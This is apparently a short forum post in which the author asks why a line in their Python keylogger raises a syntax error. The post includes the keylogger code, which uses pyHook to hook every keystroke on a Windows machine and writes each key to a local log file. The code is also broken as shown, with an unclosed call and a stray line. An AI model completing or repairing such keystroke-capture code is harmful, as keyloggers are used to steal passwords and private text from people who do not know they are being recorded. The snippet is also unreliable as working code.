Hey does anyone know what it is wrong with the chr
in this code, the first chr
(chr(event.Ascii):
). it just returns with a syntax error. I am writing a keylogger using pyHook. Thanks in advance.
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Python\\log.txt'
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)'
chr(event.Ascii):
logging.log(10, chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()